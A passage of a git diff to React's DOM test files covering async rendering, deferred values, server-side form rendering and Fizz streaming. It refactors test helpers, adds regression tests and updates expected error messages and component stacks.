+        'React cannot flush when React is already rendering. ' +
+        'Consider moving this call to a scheduler task or micro task.\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   describe('concurrent mode', () => {
@@ -313,21 +320,12 @@ describe('ReactDOMFiberAsync', () => {
         assertLog([]);
       });
       // Only the active updates have flushed
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        expect(container.textContent).toEqual('ABC');
-        assertLog(['ABC']);
-      } else {
-        expect(container.textContent).toEqual('BC');
-        assertLog(['BC']);
-      }
+      expect(container.textContent).toEqual('ABC');
+      assertLog(['ABC']);
 
       await act(() => {
         instance.push('D');
-        if (gate(flags => flags.enableUnifiedSyncLane)) {
-          expect(container.textContent).toEqual('ABC');
-        } else {
-          expect(container.textContent).toEqual('BC');
-        }
+        expect(container.textContent).toEqual('ABC');
         assertLog([]);
       });
       assertLog(['ABCD']);
@@ -753,6 +751,7 @@ describe('ReactDOMFiberAsync', () => {
       // Because it suspended, it remains on the current path
       expect(div.textContent).toBe('/path/a');
     });
+    // pre-warming
     assertLog(['Suspend! [/path/b]']);
 
     await act(async () => {
@@ -778,6 +777,74 @@ describe('ReactDOMFiberAsync', () => {
     });
   });
 
+  it('regression: useDeferredValue in popState leads to infinite deferral loop', async () => {
+    // At the time this test was written, it simulated a particular crash that
+    // was happened due to a combination of very subtle implementation details.
+    // Rather than couple this test to those implementation details, I've chosen
+    // to keep it as high-level as possible so that it doesn't break if the
+    // details change. In the future, it might not be trigger the exact set of
+    // internal circumstances anymore, but it could be useful for catching
+    // similar bugs because it represents a realistic real world situation —
+    // namely, switching tabs repeatedly in an app that uses useDeferredValue.
+    //
+    // But don't worry too much about why this test is written the way it is.
+
+    // Represents the browser's current location
+    let browserPathname = '/path/a';
+
+    let setPathname;
+    function App({initialPathname}) {
+      const [pathname, _setPathname] = React.useState('/path/a');
+      setPathname = _setPathname;
+
+      const deferredPathname = React.useDeferredValue(pathname);
+
+      // Attach a popstate listener on mount. Normally this would be in the
+      // in the router implementation.
+      React.useEffect(() => {
+        function onPopstate() {
+          React.startTransition(() => {
+            setPathname(browserPathname);
+          });
+        }
+        window.addEventListener('popstate', onPopstate);
+        return () => window.removeEventListener('popstate', onPopstate);
+      }, []);
+
+      return `Current:  ${pathname}\nDeferred: ${deferredPathname}`;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    await act(async () => {
+      root.render(<App initialPathname={browserPathname} />);
+    });
+
+    // Simulate a series of popstate events that toggle back and forth between
+    // two locations. In the original regression case, a certain combination
+    // of transition lanes would cause React to fall into an infinite deferral
+    // loop — specifically, when the spawned by the useDeferredValue hook was
+    // assigned a "higher" bit value than the one assigned to the "popstate".
+
+    // For alignment reasons, call this once to advance the internal variable
+    // that assigns transition lanes. Because this is a no-op update, it will
+    // bump the counter, but it won't trigger the useDeferredValue hook.
+    setPathname(browserPathname);
+
+    // Trigger enough popstate events that the scenario occurs for every
+    // possible transition lane.
+    for (let i = 0; i < 50; i++) {
+      await act(async () => {
+        // Simulate a popstate event
+        browserPathname = browserPathname === '/path/a' ? '/path/b' : '/path/a';
+        const popStateEvent = new Event('popstate');
+        window.event = popStateEvent;
+        window.dispatchEvent(popStateEvent);
+        await waitForMicrotasks();
+        window.event = undefined;
+      });
+    }
+  });
+
   it('regression: infinite deferral loop caused by unstable useDeferredValue input', async () => {
     function Text({text}) {
       Scheduler.log(text);
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzDeferredValue-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzDeferredValue-test.js
index 04e60648fb2e..805bf89c4f14 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzDeferredValue-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzDeferredValue-test.js
@@ -21,6 +21,7 @@ global.ReadableStream =
 global.TextEncoder = require('util').TextEncoder;
 
 let act;
+let serverAct;
 let assertLog;
 let waitForPaint;
 let container;
@@ -35,8 +36,9 @@ describe('ReactDOMFizzForm', () => {
   beforeEach(() => {
     jest.resetModules();
     Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
+    patchMessageChannel();
     act = require('internal-test-utils').act;
+    serverAct = require('internal-test-utils').serverAct;
     React = require('react');
     ReactDOMServer = require('react-dom/server.browser');
     ReactDOMClient = require('react-dom/client');
@@ -52,17 +54,6 @@ describe('ReactDOMFizzForm', () => {
     document.body.removeChild(container);
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await act(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   async function readIntoContainer(stream) {
     const reader = stream.getReader();
     let result = '';
@@ -83,7 +74,6 @@ describe('ReactDOMFizzForm', () => {
     return text;
   }
 
-  // @gate enableUseDeferredValueInitialArg
   it('returns initialValue argument, if provided', async () => {
     function App() {
       return useDeferredValue('Final', 'Initial');
@@ -100,43 +90,6 @@ describe('ReactDOMFizzForm', () => {
     expect(container.textContent).toEqual('Final');
   });
 
-  // @gate enableUseDeferredValueInitialArg
-  // @gate enablePostpone
-  it(
-    'if initial value postpones during hydration, it will switch to the ' +
-      'final value instead',
-    async () => {
-      function Content() {
-        const isInitial = useDeferredValue(false, true);
-        if (isInitial) {
-          React.unstable_postpone();
-        }
-        return <Text text="Final" />;
-      }
-
-      function App() {
-        return (
-          <Suspense fallback={<Text text="Loading..." />}>
-            <Content />
-          </Suspense>
-        );
-      }
-
-      const stream = await serverAct(() =>
-        ReactDOMServer.renderToReadableStream(<App />),
-      );
-      await readIntoContainer(stream);
-      expect(container.textContent).toEqual('Loading...');
-
-      assertLog(['Loading...']);
-      // After hydration, it's updated to the final value
-      await act(() => ReactDOMClient.hydrateRoot(container, <App />));
-      expect(container.textContent).toEqual('Final');
-      assertLog(['Loading...', 'Final']);
-    },
-  );
-
-  // @gate enableUseDeferredValueInitialArg
   it(
     'useDeferredValue during hydration has higher priority than remaining ' +
       'incremental hydration',
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzForm-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzForm-test.js
index b83abb5693bc..3210f04221fd 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzForm-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzForm-test.js
@@ -18,48 +18,45 @@ global.ReadableStream =
 global.TextEncoder = require('util').TextEncoder;
 
 let act;
+let serverAct;
 let container;
 let React;
 let ReactDOMServer;
 let ReactDOMClient;
+let Suspense;
 let useFormStatus;
 let useOptimistic;
 let useActionState;
-let Scheduler;
+let assertConsoleErrorDev;
 
 describe('ReactDOMFizzForm', () => {
   beforeEach(() => {
     jest.resetModules();
-    Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
+    patchMessageChannel();
     React = require('react');
     ReactDOMServer = require('react-dom/server.browser');
     ReactDOMClient = require('react-dom/client');
+    Suspense = React.Suspense;
     useFormStatus = require('react-dom').useFormStatus;
     useOptimistic = require('react').useOptimistic;
     act = require('internal-test-utils').act;
+    serverAct = require('internal-test-utils').serverAct;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     container = document.createElement('div');
     document.body.appendChild(container);
-    if (__VARIANT__) {
-      // Remove after API is deleted.
-      useActionState = require('react-dom').useFormState;
-    } else {
-      useActionState = require('react').useActionState;
-    }
+    // TODO: Test the old api but it warns so needs warnings to be asserted.
+    // if (__VARIANT__) {
+    // Remove after API is deleted.
+    // useActionState = require('react-dom').useFormState;
+    // }
+    useActionState = require('react').useActionState;
   });
 
   afterEach(() => {
     document.body.removeChild(container);
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await act(() => {
-      maybePromise = callback();
-    });
-    return maybePromise;
-  }
-
   function submit(submitter) {
     const form = submitter.form || submitter;
     if (!submitter.form) {
@@ -195,14 +192,27 @@ describe('ReactDOMFizzForm', () => {
       ReactDOMServer.renderToReadableStream(<App />),
     );
     await readIntoContainer(stream);
-    await expect(async () => {
-      await act(async () => {
-        ReactDOMClient.hydrateRoot(container, <App isClient={true} />);
-      });
-    }).toErrorDev(
-      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-      {withoutStack: true},
-    );
+    await act(async () => {
+      ReactDOMClient.hydrateRoot(container, <App isClient={true} />);
+    });
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n" +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\n' +
+        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n' +
+        'https://react.dev/link/hydration-mismatch\n\n' +
+        '  <App isClient={true}>\n' +
+        '    <form\n' +
+        '+     action="action"\n' +
+        '-     action="function"\n' +
+        '    >\n' +
+        '\n    in form (at **)' +
+        '\n    in App (at **)',
+    ]);
   });
 
   it('should ideally warn when passing a string during SSR and function during hydration', async () => {
@@ -357,26 +367,57 @@ describe('ReactDOMFizzForm', () => {
 
     // Specifying the extra form fields are a DEV error, but we expect it
     // to eventually still be patched up after an update.
-    await expect(async () => {
-      const stream = await serverAct(() =>
-        ReactDOMServer.renderToReadableStream(<App />),
-      );
-      await readIntoContainer(stream);
-    }).toErrorDev([
-      'Cannot specify a encType or method for a form that specifies a function as the action.',
-      'Cannot specify a formTarget for a button that specifies a function as a formAction.',
+    const stream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(<App />),
+    );
+    await readIntoContainer(stream);
+    assertConsoleErrorDev([
+      'Cannot specify a encType or method for a form that specifies a function as the action. ' +
+        'React provides those automatically. They will get overridden.\n' +
+        '    in form (at **)\n' +
+        '    in App (at **)',
+      'Cannot specify a formTarget for a button that specifies a function as a formAction. ' +
+        'The function will always be executed in the same window.\n' +
+        '    in input (at **)\n' +
+        '    in App (at **)',
     ]);
     let root;
-    await expect(async () => {
-      await act(async () => {
-        root = ReactDOMClient.hydrateRoot(container, <App />);
-      });
-    }).toErrorDev(
-      [
-        "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-      ],
-      {withoutStack: true},
-    );
+    await act(async () => {
+      root = ReactDOMClient.hydrateRoot(container, <App />);
+    });
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n" +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\n' +
+        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n' +
+        'https://react.dev/link/hydration-mismatch\n\n' +
+        '  <App>\n' +
+        '    <form\n' +
+        '      action={function action}\n' +
+        '      ref={{current:null}}\n' +
+        '+     method="DELETE"\n' +
+        '-     method={null}\n' +
+        '    >\n' +
+        '      <input\n' +
+        '        type="submit"\n' +
+        '        formAction={function action}\n' +
+        '        ref={{current:null}}\n' +
+        '+       formTarget="elsewhere"\n' +
+        '-       formTarget={null}\n' +
+        '      >\n' +
+        '      <button\n' +
+        '        formAction={function action}\n' +
+        '        ref={{current:null}}\n' +
+        '+       formEncType="text/plain"\n' +
+        '-       formEncType={null}\n' +
+        '      >\n' +
+        '\n    in input (at **)' +
+        '\n    in App (at **)',
+    ]);
     await act(async () => {
       root.render(<App isUpdate={true} />);
     });
@@ -398,7 +439,6 @@ describe('ReactDOMFizzForm', () => {
     expect(buttonRef.current.hasAttribute('formTarget')).toBe(false);
   });
 
-  // @gate enableAsyncActions
   it('useFormStatus is not pending during server render', async () => {
     function App() {
       const {pending} = useFormStatus();
@@ -488,7 +528,6 @@ describe('ReactDOMFizzForm', () => {
     expect(rootActionCalled).toBe(false);
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic returns passthrough value', async () => {
     function App() {
       const [optimisticState] = useOptimistic('hi');
@@ -507,7 +546,6 @@ describe('ReactDOMFizzForm', () => {
     expect(container.textContent).toBe('hi');
   });
 
-  // @gate enableAsyncActions
   it('useActionState returns initial state', async () => {
     async function action(state) {
       return state;
@@ -552,6 +590,7 @@ describe('ReactDOMFizzForm', () => {
     function App() {
       return (
         <form action={action} ref={ref} method={null}>
+          <Suspense />
           <input type="text" name="foo" defaultValue="bar" />
         </form>
       );
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzServer-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzServer-test.js
index 79e05e9e0d89..6ff107786f3b 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzServer-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzServer-test.js
@@ -13,7 +13,6 @@ import {
   insertNodesAndExecuteScripts,
   mergeOptions,
   stripExternalRuntimeInNodes,
-  withLoadingReadyState,
   getVisibleChildren,
 } from '../test-utils/FizzTestUtils';
 
@@ -27,6 +26,8 @@ let ReactDOMFizzServer;
 let ReactDOMFizzStatic;
 let Suspense;
 let SuspenseList;
+
+let assertConsoleErrorDev;
 let useSyncExternalStore;
 let useSyncExternalStoreWithSelector;
 let use;
@@ -82,16 +83,18 @@ describe('ReactDOMFizzServer', () => {
     global.Node = global.window.Node;
     global.addEventListener = global.window.addEventListener;
     global.MutationObserver = global.window.MutationObserver;
+    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.
+    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>
+      setTimeout(cb);
     container = document.getElementById('container');
 
+    CSPnonce = null;
     Scheduler = require('scheduler');
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
     ReactDOMFizzServer = require('react-dom/server');
-    if (__EXPERIMENTAL__) {
-      ReactDOMFizzStatic = require('react-dom/static');
-    }
+    ReactDOMFizzStatic = require('react-dom/static');
     Stream = require('stream');
     Suspense = React.Suspense;
     use = React.use;
@@ -116,12 +119,14 @@ describe('ReactDOMFizzServer', () => {
       useActionState = React.useActionState;
     }
 
-    const InternalTestUtils = require('internal-test-utils');
-    waitForAll = InternalTestUtils.waitForAll;
-    waitFor = InternalTestUtils.waitFor;
-    waitForPaint = InternalTestUtils.waitForPaint;
-    assertLog = InternalTestUtils.assertLog;
-    clientAct = InternalTestUtils.act;
+    ({
+      assertConsoleErrorDev,
+      assertLog,
+      act: clientAct,
+      waitFor,
+      waitForAll,
+      waitForPaint,
+    } = require('internal-test-utils'));
 
     if (gate(flags => flags.source)) {
       // The `with-selector` module composes the main `use-sync-external-store`
@@ -203,120 +208,117 @@ describe('ReactDOMFizzServer', () => {
     buffer = '';
 
     if (!bufferedContent) {
+      jest.runAllTimers();
       return;
     }
 
-    await withLoadingReadyState(async () => {
-      const bodyMatch = bufferedContent.match(bodyStartMatch);
-      const headMatch = bufferedContent.match(headStartMatch);
-
-      if (streamingContainer === null) {
-        // This is the first streamed content. We decide here where to insert it. If we get <html>, <head>, or <body>
-        // we abandon the pre-built document and start from scratch. If we get anything else we assume it goes into the
-        // container. This is not really production behavior because you can't correctly stream into a deep div effectively
-        // but it's pragmatic for tests.
-
-        if (
-          bufferedContent.startsWith('<head>') ||
-          bufferedContent.startsWith('<head ') ||
-          bufferedContent.startsWith('<body>') ||
-          bufferedContent.startsWith('<body ')
-        ) {
-          // wrap in doctype to normalize the parsing process
-          bufferedContent = '<!DOCTYPE html><html>' + bufferedContent;
-        } else if (
-          bufferedContent.startsWith('<html>') ||
-          bufferedContent.startsWith('<html ')
-        ) {
-          throw new Error(
-            'Recieved <html> without a <!DOCTYPE html> which is almost certainly a bug in React',
-          );
-        }
-
-        if (bufferedContent.startsWith('<!DOCTYPE html>')) {
-          // we can just use the whole document
-          const tempDom = new JSDOM(bufferedContent);
-
-          // Wipe existing head and body content
-          document.head.innerHTML = '';
-          document.body.innerHTML = '';
+    const bodyMatch = bufferedContent.match(bodyStartMatch);
+    const headMatch = bufferedContent.match(headStartMatch);
+
+    if (streamingContainer === null) {
+      // This is the first streamed content. We decide here where to insert it. If we get <html>, <head>, or <body>
+      // we abandon the pre-built document and start from scratch. If we get anything else we assume it goes into the
+      // container. This is not really production behavior because you can't correctly stream into a deep div effectively
+      // but it's pragmatic for tests.
+
+      if (
+        bufferedContent.startsWith('<head>') ||
+        bufferedContent.startsWith('<head ') ||
+        bufferedContent.startsWith('<body>') ||
+        bufferedContent.startsWith('<body ')
+      ) {
+        // wrap in doctype to normalize the parsing process
+        bufferedContent = '<!DOCTYPE html><html>' + bufferedContent;
+      } else if (
+        bufferedContent.startsWith('<html>') ||
+        bufferedContent.startsWith('<html ')
+      ) {
+        throw new Error(
+          'Recieved <html> without a <!DOCTYPE html> which is almost certainly a bug in React',
+        );
+      }
 
-          // Copy the <html> attributes over
-          const tempHtmlNode = tempDom.window.document.documentElement;
-          for (let i = 0; i < tempHtmlNode.attributes.length; i++) {
-            const attr = tempHtmlNode.attributes[i];
-            document.documentElement.setAttribute(attr.name, attr.value);
-          }
+      if (bufferedContent.startsWith('<!DOCTYPE html>')) {
+        // we can just use the whole document
+        const tempDom = new JSDOM(bufferedContent);
 
-          if (headMatch) {
-            // We parsed a head open tag. we need to copy head attributes and insert future
-            // content into <head>
-            streamingContainer = document.head;
-            const tempHeadNode = tempDom.window.document.head;
-            for (let i = 0; i < tempHeadNode.attributes.length; i++) {
-              const attr = tempHeadNode.attributes[i];
-              document.head.setAttribute(attr.name, attr.value);
-            }
-            const source = document.createElement('head');
-            source.innerHTML = tempHeadNode.innerHTML;
-            await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
-          }
+        // Wipe existing head and body content
+        document.head.innerHTML = '';
+        document.body.innerHTML = '';
 
-          if (bodyMatch) {
-            // We parsed a body open tag. we need to copy head attributes and insert future
-            // content into <body>
-            streamingContainer = document.body;
-            const tempBodyNode = tempDom.window.document.body;
-            for (let i = 0; i < tempBodyNode.attributes.length; i++) {
-              const attr = tempBodyNode.attributes[i];
-              document.body.setAttribute(attr.name, attr.value);
-            }
-            const source = document.createElement('body');
-            source.innerHTML = tempBodyNode.innerHTML;
-            await insertNodesAndExecuteScripts(source, document.body, CSPnonce);
-          }
+        // Copy the <html> attributes over
+        const tempHtmlNode = tempDom.window.document.documentElement;
+        for (let i = 0; i < tempHtmlNode.attributes.length; i++) {
+          const attr = tempHtmlNode.attributes[i];
+          document.documentElement.setAttribute(attr.name, attr.value);
+        }
 
-          if (!headMatch && !bodyMatch) {
-            throw new Error('expected <head> or <body> after <html>');
+        if (headMatch) {
+          // We parsed a head open tag. we need to copy head attributes and insert future
+          // content into <head>
+          streamingContainer = document.head;
+          const tempHeadNode = tempDom.window.document.head;
+          for (let i = 0; i < tempHeadNode.attributes.length; i++) {
+            const attr = tempHeadNode.attributes[i];
+            document.head.setAttribute(attr.name, attr.value);
           }
-        } else {
-          // we assume we are streaming into the default container'
-          streamingContainer = container;
-          const div = document.createElement('div');
-          div.innerHTML = bufferedContent;
-          await insertNodesAndExecuteScripts(div, container, CSPnonce);
+          const source = document.createElement('head');
+          source.innerHTML = tempHeadNode.innerHTML;
+          await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
         }
-      } else if (streamingContainer === document.head) {
-        bufferedContent = '<!DOCTYPE html><html><head>' + bufferedContent;
-        const tempDom = new JSDOM(bufferedContent);
-
-        const tempHeadNode = tempDom.window.document.head;
-        const source = document.createElement('head');
-        source.innerHTML = tempHeadNode.innerHTML;
-        await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
 
         if (bodyMatch) {
+          // We parsed a body open tag. we need to copy head attributes and insert future
+          // content into <body>
           streamingContainer = document.body;
-
           const tempBodyNode = tempDom.window.document.body;
           for (let i = 0; i < tempBodyNode.attributes.length; i++) {
             const attr = tempBodyNode.attributes[i];
             document.body.setAttribute(attr.name, attr.value);
           }
-          const bodySource = document.createElement('body');
-          bodySource.innerHTML = tempBodyNode.innerHTML;
-          await insertNodesAndExecuteScripts(
-            bodySource,
-            document.body,
-            CSPnonce,
-          );
+          const source = document.createElement('body');
+          source.innerHTML = tempBodyNode.innerHTML;
+          await insertNodesAndExecuteScripts(source, document.body, CSPnonce);
+        }
+
+        if (!headMatch && !bodyMatch) {
+          throw new Error('expected <head> or <body> after <html>');
         }
       } else {
+        // we assume we are streaming into the default container'
+        streamingContainer = container;
         const div = document.createElement('div');
         div.innerHTML = bufferedContent;
-        await insertNodesAndExecuteScripts(div, streamingContainer, CSPnonce);
+        await insertNodesAndExecuteScripts(div, container, CSPnonce);
+      }
+    } else if (streamingContainer === document.head) {
+      bufferedContent = '<!DOCTYPE html><html><head>' + bufferedContent;
+      const tempDom = new JSDOM(bufferedContent);
+
+      const tempHeadNode = tempDom.window.document.head;
+      const source = document.createElement('head');
+      source.innerHTML = tempHeadNode.innerHTML;
+      await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
+
+      if (bodyMatch) {
+        streamingContainer = document.body;
+
+        const tempBodyNode = tempDom.window.document.body;
+        for (let i = 0; i < tempBodyNode.attributes.length; i++) {
+          const attr = tempBodyNode.attributes[i];
+          document.body.setAttribute(attr.name, attr.value);
+        }
+        const bodySource = document.createElement('body');
+        bodySource.innerHTML = tempBodyNode.innerHTML;
+        await insertNodesAndExecuteScripts(bodySource, document.body, CSPnonce);
       }
-    }, document);
+    } else {
+      const div = document.createElement('div');
+      div.innerHTML = bufferedContent;
+      await insertNodesAndExecuteScripts(div, streamingContainer, CSPnonce);
+    }
+    // Let throttled boundaries reveal
+    jest.runAllTimers();
   }
 
   function resolveText(text) {
@@ -605,12 +607,12 @@ describe('ReactDOMFizzServer', () => {
       ]);
 
       // check that there are 6 scripts with a matching nonce:
-      // The runtime script, an inline bootstrap script, two bootstrap scripts and two bootstrap modules
+      // The runtime script or initial paint time, an inline bootstrap script, two bootstrap scripts and two bootstrap modules
       expect(
         Array.from(container.getElementsByTagName('script')).filter(
           node => node.getAttribute('nonce') === CSPnonce,
         ).length,
-      ).toEqual(gate(flags => flags.shouldUseFizzExternalRuntime) ? 6 : 5);
+      ).toEqual(6);
 
       await act(() => {
         resolve({default: Text});
@@ -700,17 +702,39 @@ describe('ReactDOMFizzServer', () => {
 
   it('should client render a boundary if a lazy component rejects', async () => {
     let rejectComponent;
+    const promise = new Promise((resolve, reject) => {
+      rejectComponent = reject;
+    });
     const LazyComponent = React.lazy(() => {
-      return new Promise((resolve, reject) => {
-        rejectComponent = reject;
-      });
+      return promise;
+    });
+
+    const LazyLazy = React.lazy(async () => {
+      return {
+        default: LazyComponent,
+      };
+    });
+
+    function Wrapper({children}) {
+      return children;
+    }
+    const LazyWrapper = React.lazy(() => {
+      return {
+        then(callback) {
+          callback({
+            default: Wrapper,
+          });
+        },
+      };
     });
 
     function App({isClient}) {
       return (
         <div>
           <Suspense fallback={<Text text="Loading..." />}>
-            {isClient ? <Text text="Hello" /> : <LazyComponent text="Hello" />}
+            <LazyWrapper>
+              {isClient ? <Text text="Hello" /> : <LazyLazy text="Hello" />}
+            </LazyWrapper>
           </Suspense>
         </div>
       );
@@ -744,6 +768,7 @@ describe('ReactDOMFizzServer', () => {
       });
       pipe(writable);
     });
+
     expect(loggedErrors).toEqual([]);
     expect(bootstrapped).toBe(true);
 
@@ -772,7 +797,7 @@ describe('ReactDOMFizzServer', () => {
           'Switched to client rendering because the server rendering errored:\n\n' +
             theError.message,
           expectedDigest,
-          componentStack(['Lazy', 'Suspense', 'div', 'App']),
+          componentStack(['Lazy', 'Wrapper', 'Suspense', 'div', 'App']),
         ],
       ],
       [
@@ -789,6 +814,52 @@ describe('ReactDOMFizzServer', () => {
     expect(loggedErrors).toEqual([theError]);
   });
 
+  it('should have special stacks if Suspense fallback', async () => {
+    const infinitePromise = new Promise(() => {});
+    const InfiniteComponent = React.lazy(() => {
+      return infinitePromise;
+    });
+
+    function Throw({text}) {
+      throw new Error(text);
+    }
+
+    function App() {
+      return (
+        <Suspense fallback="Loading">
+          <div>
+            <Suspense fallback={<Throw text="Bye" />}>
+              <InfiniteComponent text="Hi" />
+            </Suspense>
+          </div>
+        </Suspense>
+      );
+    }
+
+    const loggedErrors = [];
+    function onError(x, errorInfo) {
+      loggedErrors.push({
+        message: x.message,
+        componentStack: errorInfo.componentStack,
+      });
+      return 'Hash of (' + x.message + ')';
+    }
+    loggedErrors.length = 0;
+
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onError,
+      });
+      pipe(writable);
+    });
+
+    expect(loggedErrors.length).toBe(1);
+    expect(loggedErrors[0].message).toBe('Bye');
+    expect(normalizeCodeLocInfo(loggedErrors[0].componentStack)).toBe(
+      componentStack(['Throw', 'Suspense Fallback', 'div', 'Suspense', 'App']),
+    );
+  });
+
   it('should asynchronously load a lazy element', async () => {
     let resolveElement;
     const lazyElement = React.lazy(() => {
@@ -816,7 +887,7 @@ describe('ReactDOMFizzServer', () => {
         container.childNodes,
         renderOptions.unstable_externalRuntimeSrc,
       ).length,
-    ).toBe(1);
+    ).toBe(gate(flags => flags.shouldUseFizzExternalRuntime) ? 1 : 2);
     await act(() => {
       resolveElement({default: <Text text="Hello" />});
     });
@@ -852,13 +923,9 @@ describe('ReactDOMFizzServer', () => {
     }
 
     await act(() => {
-      const {pipe} = renderToPipeableStream(
-        <App isClient={false} />,
-
-        {
-          onError,
-        },
-      );
+      const {pipe} = renderToPipeableStream(<App isClient={false} />, {
+        onError,
+      });
       pipe(writable);
     });
     expect(loggedErrors).toEqual([]);
@@ -896,7 +963,7 @@ describe('ReactDOMFizzServer', () => {
           'Switched to client rendering because the server rendering errored:\n\n' +
             theError.message,
           expectedDigest,
-          componentStack(['Lazy', 'Suspense', 'div', 'App']),
+          componentStack(['Suspense', 'div', 'App']),
         ],
       ],
       [
@@ -1266,15 +1333,17 @@ describe('ReactDOMFizzServer', () => {
 
     function App({showMore}) {
       return (
-        <SuspenseList revealOrder="forwards">
-          {a}
-          {b}
-          {showMore ? (
-            <Suspense fallback="Loading C">
-              <span>C</span>
-            </Suspense>
-          ) : null}
-        </SuspenseList>
+        <div>
+          <SuspenseList revealOrder="forwards" tail="visible">
+            {a}
+            {b}
+            {showMore ? (
+              <Suspense fallback="Loading C">
+                <span>C</span>
+              </Suspense>
+            ) : null}
+          </SuspenseList>
+        </div>
       );
     }
 
@@ -1292,12 +1361,12 @@ describe('ReactDOMFizzServer', () => {
 
     // We're not hydrated yet.
     expect(ref.current).toBe(null);
-    expect(getVisibleChildren(container)).toEqual([
-      'Loading A',
-      // TODO: This is incorrect. It should be "Loading B" but Fizz SuspenseList
-      // isn't implemented fully yet.
-      <span>B</span>,
-    ]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        {'Loading A'}
+        {'Loading B'}
+      </div>,
+    );
 
     // Add more rows before we've hydrated the first two.
     root.render(<App showMore={true} />);
@@ -1307,13 +1376,13 @@ describe('ReactDOMFizzServer', () => {
     expect(ref.current).toBe(null);
 
     // We haven't resolved yet.
-    expect(getVisibleChildren(container)).toEqual([
-      'Loading A',
-      // TODO: This is incorrect. It should be "Loading B" but Fizz SuspenseList
-      // isn't implemented fully yet.
-      <span>B</span>,
-      'Loading C',
-    ]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        {'Loading A'}
+        {'Loading B'}
+        {'Loading C'}
+      </div>,
+    );
 
     await act(async () => {
       await resolveText('A');
@@ -1321,11 +1390,13 @@ describe('ReactDOMFizzServer', () => {
 
     await waitForAll([]);
 
-    expect(getVisibleChildren(container)).toEqual([
-      <span>A</span>,
-      <span>B</span>,
-      <span>C</span>,
-    ]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
 
     const span = container.getElementsByTagName('span')[0];
     expect(ref.current).toBe(span);
@@ -1395,13 +1466,13 @@ describe('ReactDOMFizzServer', () => {
             'The render was aborted by the server without a reason.',
           expectedDigest,
           // We get the stack of the task when it was aborted which is why we see `h1`
-          componentStack(['h1', 'Suspense', 'div', 'App']),
+          componentStack(['AsyncText', 'h1', 'Suspense', 'div', 'App']),
         ],
         [
           'Switched to client rendering because the server rendering aborted due to:\n\n' +
             'The render was aborted by the server without a reason.',
           expectedDigest,
-          componentStack(['Suspense', 'main', 'div', 'App']),
+          componentStack(['AsyncText', 'Suspense', 'main', 'div', 'App']),
         ],
       ],
       [
@@ -1454,16 +1525,18 @@ describe('ReactDOMFizzServer', () => {
     await act(() => {
       const {pipe} = renderToPipeableStream(
         // We use two nested boundaries to flush out coverage of an old reentrancy bug.
-        <Suspense fallback="Loading...">
-          <Suspense fallback={<Text text="Loading A..." />}>
-            <>
-              <Text text="This will show A: " />
-              <div>
-                <AsyncText text="A" />
-              </div>
-            </>
+        <div>
+          <Suspense fallback="Loading...">
+            <Suspense fallback={<Text text="Loading A..." />}>
+              <>
+                <Text text="This will show A: " />
+                <div>
+                  <AsyncText text="A" />
+                </div>
+              </>
+            </Suspense>
           </Suspense>
-        </Suspense>,
+        </div>,
         {
           identifierPrefix: 'A_',
           onShellReady() {
@@ -1477,12 +1550,14 @@ describe('ReactDOMFizzServer', () => {
 
     await act(() => {
       const {pipe} = renderToPipeableStream(
-        <Suspense fallback={<Text text="Loading B..." />}>
-          <Text text="This will show B: " />
-          <div>
-            <AsyncText text="B" />
-          </div>
-        </Suspense>,
+        <div>
+          <Suspense fallback={<Text text="Loading B..." />}>
